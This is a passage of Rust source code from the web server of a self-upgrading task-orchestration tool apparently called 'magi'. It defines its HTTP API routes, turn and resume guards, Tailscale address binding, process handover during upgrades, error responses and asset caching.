1401 }))
1402 }
1403
1404 fn queued_generation(&self, id: &str) -> u64 {
1405 let live = self
1406 .talk_turns
1407 .lock()
1408 .unwrap_or_else(PoisonError::into_inner);
1409 live.queued.get(id).copied().unwrap_or(0)
1410 }
1411
1412 fn auto_upgrade_busy(&self) -> bool {
1415 #[cfg(test)]
1416 if self
1417 .lock_loop()
1418 .live
1419 .as_ref()
1420 .is_some_and(|live| live.stop.busy_now())
1421 {
1422 return true;
1423 }
1424 crate::worker::active(&self.home)
1425 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1426 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1427 || !self
1428 .resuming
1429 .lock()
1430 .unwrap_or_else(PoisonError::into_inner)
1431 .is_empty()
1432 || !self
1433 .talk_turns
1434 .lock()
1435 .unwrap_or_else(PoisonError::into_inner)
1436 .live
1437 .is_empty()
1438 || self
1439 .talks
1440 .list()
1441 .iter()
1442 .any(|talk| self.is_thinking(&talk.id))
1443 }
1444
1445 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1449 let mut live = self
1450 .resuming
1451 .lock()
1452 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1453 if self
1454 .upgrade_spawned
1455 .load(std::sync::atomic::Ordering::SeqCst)
1456 {
1457 return Err(ApiError::conflict("an upgrade is in progress"));
1458 }
1459 if !live.insert(id.to_owned()) {
1460 return Err(ApiError::conflict(format!(
1461 "run {id} is already being resumed"
1462 )));
1463 }
1464 Ok(ResumeGuard {
1465 run: id.to_owned(),
1466 resuming: Arc::clone(&self.resuming),
1467 })
1468 }
1469
1470 pub fn router(self) -> Router {
1478 Arc::new(self).shared_router()
1479 }
1480
1481 fn shared_router(self: Arc<Self>) -> Router {
1482 Router::new()
1483 .route("/", get(index))
1484 .route("/app.css", get(app_css))
1485 .route("/app.js", get(app_js))
1486 .route("/api/health", get(health))
1487 .route("/api/references", post(id_links::resolve_text))
1488 .route("/api/loop", get(loop_get).post(loop_post))
1489 .route("/api/upgrade", post(upgrade_post))
1490 .route("/api/runs", get(runs_list))
1491 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1492 .route("/api/runs/{id}/core", get(run_core))
1493 .route("/api/runs/{id}/report", get(run_report))
1494 .route("/api/runs/{id}/report.json", get(run_report_json))
1495 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1496 .route("/api/runs/{id}/fold", post(run_fold))
1497 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1498 .route("/api/runs/{id}/resume", post(run_resume))
1499 .route("/api/queue", get(queue_list))
1500 .route("/api/queue/page", get(queue_page))
1501 .route("/api/search", get(search_get))
1502 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1503 .route("/api/queue/{id}/core", get(task_core))
1504 .route("/api/stats", get(stats_get))
1505 .route("/api/stats/queue", get(stats_queue))
1506 .route("/api/repos", get(repos_list))
1507 .route("/api/settings", get(settings_get))
1508 .route("/api/settings/roles", put(settings_put_roles))
1509 .route("/api/queue/{id}/hold", post(queue_hold))
1510 .route("/api/queue/{id}/release", post(queue_release))
1511 .route("/api/queue/{id}/priority", post(queue_priority))
1512 .route("/api/queue/{id}/urgent", post(queue_urgent))
1513 .route("/api/queue/{id}/implementers", post(queue_implementers))
1514 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1515 .route("/api/queue/{id}/edit", post(queue_edit))
1516 .route("/api/queue/{id}/done", post(queue_done))
1517 .route("/api/questions", get(questions_list))
1518 .route("/api/questions/core", get(questions_core))
1519 .route("/api/questions/origins", get(question_origins))
1520 .route("/api/questions/{id}/answer", post(question_answer))
1521 .route("/api/questions/{id}/say", post(question_say))
1522 .route("/api/questions/{id}/consult", post(question_consult))
1523 .route("/api/questions/{id}/panel", get(question_panel))
1524 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1532 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1533 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1534 .route("/api/notifications", get(notifications_list))
1535 .route("/api/notifications/read-all", post(notifications_read_all))
1536 .route("/api/notifications/{id}/read", post(notification_read))
1537 .route(
1538 "/api/notifications/{id}/dismiss",
1539 post(notification_dismiss),
1540 )
1541 .route("/api/talks", get(talks_list).post(talk_post))
1542 .route("/api/talks/page", get(talks_page))
1543 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1544 .route("/api/talks/{id}/core", get(talk_core))
1545 .route("/api/talks/{id}/sections", get(talk_sections))
1546 .route("/api/talks/{id}/say", post(talk_say))
1547 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1548 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1549 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1550 .route("/api/talks/{id}/agent", post(talk_agent))
1551 .route("/api/talks/{id}/persona", post(talk_persona))
1552 .route("/api/talks/{id}/implementers", post(talk_implementers))
1553 .route("/api/talks/{id}/close", post(talk_close))
1554 .route("/api/talks/{id}/reopen", post(talk_reopen))
1555 .route(
1561 "/api/talks/{id}/attachments",
1562 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1563 )
1564 .route(
1565 "/api/talks/{id}/attachments/{att}",
1566 get(talk_attachment_get),
1567 )
1568 .route("/api/talks/{id}/avatar", get(talk_avatar))
1569 .route("/avatars/operator.svg", get(operator_avatar))
1570 .route(
1571 "/api/avatar-settings",
1572 get(avatar_settings_get)
1573 .put(avatar_settings_put)
1574 .delete(avatar_settings_delete),
1575 )
1576 .route("/avatars/persona", get(settings_persona_avatar))
1577 .route("/avatars/magi", get(magi_avatar))
1578 .route(
1579 "/api/magi-icon",
1580 get(magi_icon_get)
1581 .put(magi_icon_put)
1582 .delete(magi_icon_delete),
1583 )
1584 .route("/api/events", get(events))
1585 .with_state(self)
1586 }
1587}
1588
1589#[derive(Debug)]
1595struct TalkTurnGuard {
1596 talk: String,
1597 turns: Arc<Mutex<TalkTurns>>,
1598 released: bool,
1599 lease: Option<crate::talk::TurnLease>,
1601}
1602
1603#[derive(Debug, Default)]
1610struct TalkTurns {
1611 live: HashSet<String>,
1612 queued: HashMap<String, u64>,
1613}
1614
1615enum TalkTurnStart {
1618 Claimed(TalkTurnGuard),
1619 Busy,
1620 Foreign,
1623 Pending,
1624}
1625
1626impl TalkTurnGuard {
1627 #[cfg(test)]
1628 fn owns(&self) -> bool {
1632 self.lease
1633 .as_ref()
1634 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1635 }
1636
1637 #[cfg(test)]
1638 async fn respond(
1641 &self,
1642 talk: &mut Talk,
1643 talks: &Talks,
1644 cfg: &Config,
1645 text: &str,
1646 ) -> anyhow::Result<()> {
1647 let lease = self
1648 .lease
1649 .as_ref()
1650 .context("the turn guard no longer holds its lease")?;
1651 talk::respond(lease, talk, talks, cfg, text).await
1652 }
1653
1654 fn release(mut self, live: &mut TalkTurns) {
1657 self.lease = None;
1661 live.live.remove(&self.talk);
1662 live.queued.remove(&self.talk);
1663 self.released = true;
1664 }
1665}
1666
1667impl Drop for TalkTurnGuard {
1668 fn drop(&mut self) {
1669 if self.released {
1670 return;
1671 }
1672 drop(self.lease.take());
1674 if let Ok(mut live) = self.turns.lock() {
1675 live.live.remove(&self.talk);
1676 live.queued.remove(&self.talk);
1677 }
1678 }
1679}
1680
1681struct ResumeGuard {
1683 run: String,
1684 resuming: Arc<Mutex<HashSet<String>>>,
1685}
1686
1687impl Drop for ResumeGuard {
1688 fn drop(&mut self) {
1689 if let Ok(mut live) = self.resuming.lock() {
1690 live.remove(&self.run);
1691 }
1692 }
1693}
1694
1695async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1705 const WINDOW: Duration = Duration::from_secs(10);
1706 const GAP: Duration = Duration::from_millis(250);
1707
1708 let deadline = std::time::Instant::now() + WINDOW;
1709 let mut said = false;
1710 loop {
1711 match tokio::net::TcpListener::bind(socket).await {
1712 Ok(listener) => return Ok(listener),
1713 Err(e)
1714 if e.kind() == std::io::ErrorKind::AddrInUse
1715 && std::time::Instant::now() < deadline =>
1716 {
1717 if !said {
1718 said = true;
1719 tracing::info!(
1720 "{socket} is still held - waiting up to {}s for it, \
1721 which is what a restart looks like from here",
1722 WINDOW.as_secs()
1723 );
1724 }
1725 tokio::time::sleep(GAP).await;
1726 }
1727 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1728 }
1729 }
1730}
1731
1732static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1735
1736const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1738const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1740
1741fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1743 value.is_some_and(|v| v == "1")
1744}
1745
1746fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1765 let args: Vec<String> = std::env::args().skip(1).collect();
1766 updater::log_step(
1767 home,
1768 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1769 );
1770 let log_path = home.join(WEB_LOG);
1771 let open_log = || {
1772 std::fs::create_dir_all(home)?;
1773 std::fs::OpenOptions::new()
1774 .create(true)
1775 .append(true)
1776 .open(&log_path)
1777 };
1778 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1779 Ok(pair) => (
1780 std::process::Stdio::from(pair.0),
1781 std::process::Stdio::from(pair.1),
1782 ),
1783 Err(e) => {
1784 updater::log_warn(
1785 home,
1786 &format!(
1787 "could not open {}: {e}; the successor logs nowhere",
1788 log_path.display()
1789 ),
1790 );
1791 (std::process::Stdio::null(), std::process::Stdio::null())
1792 }
1793 };
1794
1795 let mut cmd = std::process::Command::new(exe);
1796 cmd.env_remove(RESUME_LOOP_ENV);
1797 cmd.env(RESTART_PORT_ENV, port.to_string());
1798 cmd.args(&args)
1799 .stdin(std::process::Stdio::null())
1800 .stdout(out)
1801 .stderr(err);
1802 #[cfg(windows)]
1803 {
1804 use std::os::windows::process::CommandExt as _;
1805 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1808 }
1809 let child = cmd.spawn().context("start the successor")?;
1810 Ok(child.id())
1811}
1812
1813const WEB_LOG: &str = "web.log";
1815
1816async fn wait_for_handover(signal: &Notify) {
1820 signal.notified().await;
1821}
1822
1823pub async fn serve(opts: Opts) -> Result<()> {
1826 crate::worker::remember_current_executable()?;
1829 let executable = std::env::current_exe().context("find the installed web executable")?;
1830 let (addr, warning) = resolve_bind(&opts.bind);
1831 if let Some(warning) = warning {
1832 tracing::warn!("{warning}");
1833 }
1834
1835 report::set_color(false);
1841
1842 let repo = normalize_default_repo(opts.repo).await;
1843 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1844 let home = ui.home.clone();
1846 let admissions = Arc::clone(&ui.admissions);
1847 updater::reconcile_after_restart(&home);
1852 updater::log_step(
1853 &home,
1854 &format!(
1855 "web process started (version {}); handover log {}, successor output {}",
1856 env!("CARGO_PKG_VERSION"),
1857 updater::log_path(&home).display(),
1858 home.join(WEB_LOG).display()
1859 ),
1860 );
1861 updater::spawn_watchdog(home.clone());
1862 let port = if opts.port == 0 {
1870 std::env::var(RESTART_PORT_ENV)
1871 .ok()
1872 .and_then(|value| value.parse::<u16>().ok())
1873 .filter(|port| *port != 0)
1874 .unwrap_or(0)
1875 } else {
1876 opts.port
1877 };
1878 let socket = SocketAddr::new(addr, port);
1879 let listener = bind_waiting(socket).await?;
1880 let bound = listener.local_addr().context("read bound web address")?;
1881 let port = bound.port();
1882 let url = format!("http://{bound}");
1883 tracing::info!(
1884 "magi web UI on {url} - there is no authentication, so anyone who can \
1885 reach this address can file and hold tasks: the tailnet is the \
1886 security boundary"
1887 );
1888 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1890 ui.start_detached_loop()
1891 .await
1892 .map_err(|e| anyhow::anyhow!(e.message))?;
1893 }
1894 if opts.open {
1895 println!("{url}");
1899 }
1900
1901 let recheck_ui = ui.clone();
1904 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1905 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1906 let interrupted = async {
1907 if tokio::signal::ctrl_c().await.is_err() {
1908 std::future::pending::<()>().await;
1913 }
1914 };
1915 let handover = wait_for_handover(&HANDOVER);
1916 let outcome = tokio::select! {
1917 joined = &mut served => match joined {
1918 Ok(outcome) => outcome.context("serve the web UI"),
1919 Err(e) => Err(e).context("the task serving the web UI ended"),
1920 },
1921 () = interrupted => {
1922 recheck.abort();
1923 tracing::info!("shutting down the web UI; detached workers continue");
1924 close_admissions(&admissions).await;
1925 served.abort();
1926 let _ = served.await;
1927 Ok(())
1928 }
1929 () = handover => {
1930 recheck.abort();
1931 let successor_home = home.clone();
1932 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1933 }
1934 };
1935 recheck.abort();
1936 let _ = recheck.await;
1937 updater::log_step(
1938 &home,
1939 &match &outcome {
1940 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1941 Err(e) => format!("serve: returning an error: {e:#}"),
1942 },
1943 );
1944 outcome
1945}
1946
1947async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1968 if repo != FsPath::new(".") {
1969 return repo;
1970 }
1971 let Ok(canonical) = repo.canonicalize() else {
1972 return repo;
1973 };
1974 if git::toplevel(&canonical).await.is_ok() {
1975 return repo;
1976 }
1977 let Some(home) = dirs::home_dir() else {
1978 return repo;
1979 };
1980 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1981 Some(found) => {
1982 tracing::info!(
1983 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1984 canonical.display(),
1985 found.path.display(),
1986 found.reason,
1987 );
1988 found.path
1989 }
1990 None => repo,
1991 }
1992}
1993
1994async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1997 *admissions.write().await = true;
1998}
1999
2000async fn hand_over(
2003 home: &FsPath,
2004 admissions: &tokio::sync::RwLock<bool>,
2005 served: tokio::task::JoinHandle<std::io::Result<()>>,
2006 successor: impl FnOnce() -> Result<u32>,
2007) -> Result<()> {
2008 close_admissions(admissions).await;
2009 if let Some(mut progress) = updater::read_progress(home) {
2010 progress.advance(updater::Stage::Restarting);
2011 progress.detail =
2012 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2013 updater::write_progress_logged(home, &progress);
2014 }
2015 updater::log_step(
2016 home,
2017 "restarting scheduler without parking execution workers",
2018 );
2019 let scheduler = daemon::restart_detached(home).await;
2020 if let Err(error) = &scheduler {
2021 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2022 updater::log_warn(
2023 home,
2024 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2025 );
2026 }
2027 updater::log_step(home, "releasing the web listener");
2028 served.abort();
2029 let _ = served.await;
2030 updater::log_step(home, "web listener released; starting the successor");
2031 match successor() {
2032 Ok(pid) => {
2033 updater::log_step(home, &format!("successor started, pid {pid}"));
2034 scheduler
2035 }
2036 Err(e) => {
2037 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2038 Err(e)
2039 }
2040 }
2041}
2042
2043pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2049 match bind {
2050 Bind::Addr(addr) => (*addr, None),
2051 Bind::Auto => match tailscale_ip() {
2052 Ok(ip) => (IpAddr::V4(ip), None),
2053 Err(why) => (
2054 IpAddr::V4(Ipv4Addr::LOCALHOST),
2055 Some(format!(
2056 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2057 local-only and a phone cannot reach it; start Tailscale \
2058 or pass --bind <addr>"
2059 )),
2060 ),
2061 },
2062 }
2063}
2064
2065fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2073 let out = std::process::Command::new("tailscale")
2074 .args(["ip", "-4"])
2075 .quiet()
2076 .output()
2077 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2078 if !out.status.success() {
2079 let why = String::from_utf8_lossy(&out.stderr);
2080 let why = why.trim();
2081 return Err(format!(
2082 "`tailscale ip -4` failed ({}){}",
2083 out.status,
2084 if why.is_empty() {
2085 String::new()
2086 } else {
2087 format!(": {why}")
2088 }
2089 ));
2090 }
2091 String::from_utf8_lossy(&out.stdout)
2092 .lines()
2093 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2094 .find(is_tailnet)
2095 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2096}
2097
2098fn is_tailnet(ip: &Ipv4Addr) -> bool {
2100 let o = ip.octets();
2101 o[0] == 100 && (64..=127).contains(&o[1])
2102}
2103
2104type ApiResult<T> = std::result::Result<T, ApiError>;
2108
2109#[derive(Debug)]
2111struct ApiError {
2112 status: StatusCode,
2113 message: String,
2114 text_reason: Option<crate::question_delivery::UnavailableReason>,
2115}
2116
2117impl ApiError {
2118 fn bad_request(message: impl Into<String>) -> Self {
2120 Self {
2121 text_reason: None,
2122 status: StatusCode::BAD_REQUEST,
2123 message: message.into(),
2124 }
2125 }
2126
2127 fn not_found(message: impl Into<String>) -> Self {
2129 Self {
2130 text_reason: None,
2131 status: StatusCode::NOT_FOUND,
2132 message: message.into(),
2133 }
2134 }
2135
2136 fn with_status(mut self, status: StatusCode) -> Self {
2139 self.status = status;
2140 self
2141 }
2142
2143 fn bad_request_from(e: anyhow::Error) -> Self {
2147 Self::bad_request(format!("{e:#}"))
2148 }
2149
2150 fn conflict(message: impl Into<String>) -> Self {
2151 Self {
2152 text_reason: None,
2153 status: StatusCode::CONFLICT,
2154 message: message.into(),
2155 }
2156 }
2157
2158 fn internal(message: impl Into<String>) -> Self {
2160 Self {
2161 text_reason: None,
2162 status: StatusCode::INTERNAL_SERVER_ERROR,
2163 message: message.into(),
2164 }
2165 }
2166}
2167
2168impl From<anyhow::Error> for ApiError {
2169 fn from(e: anyhow::Error) -> Self {
2174 Self::internal(format!("{e:#}"))
2175 }
2176}
2177
2178impl IntoResponse for ApiError {
2179 fn into_response(self) -> Response {
2180 let mut body = serde_json::json!({ "error": self.message });
2181 if let Some(reason) = self.text_reason {
2182 body["code"] = serde_json::json!("question_text_unavailable");
2183 body["reason"] = serde_json::json!(reason);
2184 }
2185 (self.status, Json(body)).into_response()
2186 }
2187}
2188
2189async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2198where
2199 T: Send + 'static,
2200{
2201 #[cfg(test)]
2202 let job = request_cost::carry(job);
2203 match tokio::task::spawn_blocking(job).await {
2204 Ok(result) => result,
2205 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2206 }
2207}
2208
2209async fn bulk_blocking<T>(
2212 slots: Arc<tokio::sync::Semaphore>,
2213 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2214) -> ApiResult<T>
2215where
2216 T: Send + 'static,
2217{
2218 let permit = slots
2219 .acquire_owned()
2220 .await
2221 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2222 let (send, receive) = tokio::sync::oneshot::channel();
2223 #[cfg(test)]
2224 let job = request_cost::carry(job);
2225 let runtime = tokio::runtime::Handle::current();
2226 std::thread::Builder::new()
2227 .name("web-bulk".into())
2228 .spawn(move || {
2229 let _permit = permit;
2230 let _runtime = runtime.enter();
2232 let _ = send.send(job());
2233 })
2234 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2235 receive
2236 .await
2237 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2238}
2239
2240const ASSET_CACHE: &str = "no-cache, must-revalidate";
2258
2259fn asset_etag() -> &'static str {
2266 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2267 format!(
2268 "\"{}-{}\"",
2269 env!("CARGO_PKG_VERSION"),
2270 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2275 )
2276 });
2277 &TAG
2278}
2279
2280fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2282 [
2283 (header::CONTENT_TYPE, mime),
2284 (header::CACHE_CONTROL, ASSET_CACHE),
2285 (header::ETAG, asset_etag()),
2286 ]
2287}
2288
2289fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2297 let tag = asset_etag();
2298 let known = headers
2299 .get(header::IF_NONE_MATCH)
2300 .and_then(|v| v.to_str().ok())
2301 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2305 if known {
2306 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2307 }
2308 (asset_headers(mime), body).into_response()
2309}
2310
2311async fn index(headers: header::HeaderMap) -> Response {
2312 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2313}
2314
2315async fn app_css(headers: header::HeaderMap) -> Response {
2316 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2317}
2318
2319async fn app_js(headers: header::HeaderMap) -> Response {
2320 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2321}
2322
2323#[derive(Debug, Serialize)]
2325struct HealthView {
2326 version: &'static str,
2327 home: String,
2328 queue_rev: u64,
2329 runs_rev: u64,
2330 questions_rev: u64,
2342 talks_rev: u64,
2344 notifications_rev: u64,
2346 notifications_unread: usize,
2349 loop_rev: u64,
2354 runs_unreadable: usize,
2362 disk: Option<serde_json::Value>,
2370 questions_open: usize,
2376 questions_needs_owner: usize,
2386 daemon: DaemonView,
2387 #[serde(rename = "loop")]
2393 looping: LoopView,
2394 update: UpdateView,
2401 upgrade: Option<UpgradeProgressView>,
2405 jobs: Vec<WorkerView>,
2408 upgrade_request_error: Option<UpgradeRequestFailure>,
2409}
2410
2411#[derive(Debug, Serialize)]
2414struct WorkerView {
2415 id: String,
2416 kind: String,
2417 key: String,
2418 pid: Option<u32>,
2419 status: crate::worker::Status,
2420 generation: String,
2421 version: Option<String>,
2422 queue_owned: bool,
2423}
2424
2425impl From<crate::worker::Job> for WorkerView {
2426 fn from(job: crate::worker::Job) -> Self {
2427 let queue_owned = job.kind == "task"
2428 && job
2429 .payload
2430 .get("standalone")
2431 .and_then(serde_json::Value::as_bool)
2432 != Some(true);
2433 Self {
2434 id: job.id,
2435 kind: job.kind,
2436 key: job.key,
2437 pid: job.pid,
2438 status: job.status,
2439 generation: job.generation,
2440 version: job.version,
2441 queue_owned,
2442 }
2443 }
2444}
2445
2446#[derive(Debug, Clone, Serialize)]
2453struct UpdateView {
2454 available: bool,
2456 to: Option<String>,
2458}
2459
2460#[derive(Debug, Serialize)]
2462struct UpgradeProgressView {
2463 trigger: updater::UpgradeTrigger,
2464 stage: updater::Stage,
2465 from: String,
2466 to: Option<String>,
2467 waiting_on: Option<String>,
2470 started_at: Timestamp,
2471 updated_at: Timestamp,
2472 detail: Option<String>,
2473 stuck_for_secs: Option<i64>,
2476 stuck_kind: Option<updater::StallKind>,
2479 handover_alive: bool,
2482}
2483
2484fn should_spawn_recheck(cfg: &Update) -> bool {
2491 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2492}
2493
2494fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2506 if progress.is_some_and(|p| !p.stage.terminal()) {
2507 return false;
2508 }
2509 checker.should_check()
2510}
2511
2512fn recheck_poll_period(cfg: &Update) -> Duration {
2525 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2526}
2527
2528#[derive(Debug, PartialEq, Eq)]
2529enum AutoUpgradeDecision {
2530 Skip(&'static str),
2531 Wait,
2532 Trigger,
2533}
2534
2535fn auto_upgrade_decision(
2536 cfg: &Update,
2537 disabled: bool,
2538 in_motion: bool,
2539 busy: bool,
2540 tag: &str,
2541 failed: Option<&str>,
2542) -> AutoUpgradeDecision {
2543 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2544 AutoUpgradeDecision::Skip("disabled")
2545 } else if in_motion {
2546 AutoUpgradeDecision::Skip("upgrade already in progress")
2547 } else if failed == Some(tag) {
2548 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2549 } else if busy {
2550 AutoUpgradeDecision::Wait
2551 } else {
2552 AutoUpgradeDecision::Trigger
2553 }
2554}
2555
2556async fn run_update_recheck(ui: Arc<Ui>) {
2558 loop {
2559 let cfg = match Config::discover(&ui.repo, None) {
2560 Ok((cfg, _)) => cfg,
2561 Err(e) => {
2562 updater::log_warn(
2563 &ui.home,
2564 &format!("auto-upgrade: config unavailable: {e:#}"),
2565 );
2566 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2567 continue;
2568 }
2569 };
2570 if should_spawn_recheck(&cfg.update)
2571 && let Some(checker) = updater::Checker::new(&cfg.update)
2572 {
2573 let progress = updater::read_progress(&ui.home);
2574 let mut latest = checker.cached_update();
2575 if update_recheck_due(&checker, progress.as_ref()) {
2576 match checker.newer_release().await {
2577 Ok(found) => latest = found,
2578 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2579 }
2580 }
2581 if cfg.update.auto_restart
2582 && let Some(latest) = latest
2583 {
2584 let response =
2585 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2586 updater::log_step(
2587 &ui.home,
2588 &format!("auto-upgrade: request status {}", response.status()),
2589 );
2590 }
2591 }
2592 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2593 }
2594}
2595
2596fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2602 let default;
2603 let cfg = match cfg {
2604 Some(cfg) => cfg,
2605 None => {
2606 default = Config::default();
2607 &default
2608 }
2609 };
2610 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2611 match latest {
2612 Some(latest) => UpdateView {
2613 available: true,
2614 to: Some(latest.tag_name),
2615 },
2616 None => UpdateView {
2617 available: false,
2618 to: None,
2619 },
2620 }
2621}
2622
2623fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2629 let now = Timestamp::now();
2630 let lease = updater::read_lease(&ui.home);
2631 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2632 let run_id = alive
2633 .and_then(|l| l.parked_run.as_deref())
2634 .or(progress.parked_run.as_deref());
2635 let parking = progress.stage == updater::Stage::Parking;
2636 let waited = alive.map_or_else(String::new, |l| {
2637 let secs = updater::waited_secs(l, now);
2638 format!(" (waited {} min so far)", secs / 60)
2639 });
2640 let run_text = run_id
2641 .filter(|_| parking)
2642 .map(|id| match read_run(&ui.runs, id).ok() {
2643 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2644 None => format!("run {id} is finishing"),
2645 });
2646 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2647 .filter(|t| parking && !t.is_empty())
2648 .map(|t| format!("{t} finishing"));
2649 let waiting_on = match (run_text, talks_text) {
2650 (None, None) => None,
2651 (run, talks) => {
2652 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2653 Some(format!(
2654 "{} before the address is handed over{waited}",
2655 parts.join(" and ")
2656 ))
2657 }
2658 };
2659 let detail = progress
2660 .detail
2661 .clone()
2662 .or_else(|| updater::read_note(&ui.home, &progress));
2663 let stalled = updater::stall(&progress, lease.as_ref(), now);
2664 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2665 UpgradeProgressView {
2666 trigger: progress.trigger,
2667 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2668 stuck_kind: stalled.map(|s| s.kind),
2669 handover_alive: alive.is_some(),
2670 stage: progress.stage,
2671 from: progress.from,
2672 to: progress.to,
2673 waiting_on,
2674 started_at: progress.started_at,
2675 updated_at: progress.updated_at,
2676 detail,
2677 }
2678}
2679
2680#[derive(Debug, Serialize)]
2683struct DiskView {
2684 #[serde(skip_serializing_if = "Option::is_none")]
2686 free_bytes: Option<u64>,
2687 runs_bytes: Option<u64>,
2689 worktrees_bytes: Option<u64>,
2691 #[serde(skip_serializing_if = "Option::is_none")]
2693 cache_bytes: Option<u64>,
2694 retention: Option<crate::retention::Report>,
2696}
2697
2698const DISK_REFRESH: Duration = Duration::from_secs(60);
2701
2702#[derive(Debug, Clone, PartialEq, Eq)]
2703struct DiskScope {
2704 runs: PathBuf,
2705 worktrees: PathBuf,
2706 cache: Option<PathBuf>,
2707}
2708
2709impl DiskScope {
2710 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2711 Self {
2712 runs: ui.runs.clone(),
2713 worktrees: ui.worktrees_root.clone(),
2714 cache: cfg.and_then(Config::cache_dir),
2715 }
2716 }
2717}
2718
2719#[derive(Debug, Clone, Copy, Default)]
2720struct DiskCapacity {
2721 free_bytes: Option<u64>,
2722 runs_bytes: Option<u64>,
2723 worktrees_bytes: Option<u64>,
2724 cache_bytes: Option<u64>,
2725}
2726
2727impl DiskCapacity {
2728 fn measure(scope: &DiskScope) -> Self {
2729 Self {
2730 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2731 runs_bytes: disk_capacity_size(&scope.runs),
2732 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2733 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2734 }
2735 }
2736
2737 fn retain_successes(&mut self, next: Self) {
2738 self.free_bytes = next.free_bytes.or(self.free_bytes);
2739 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2740 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2741 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2742 }
2743}
2744
2745fn disk_capacity_size(path: &FsPath) -> Option<u64> {
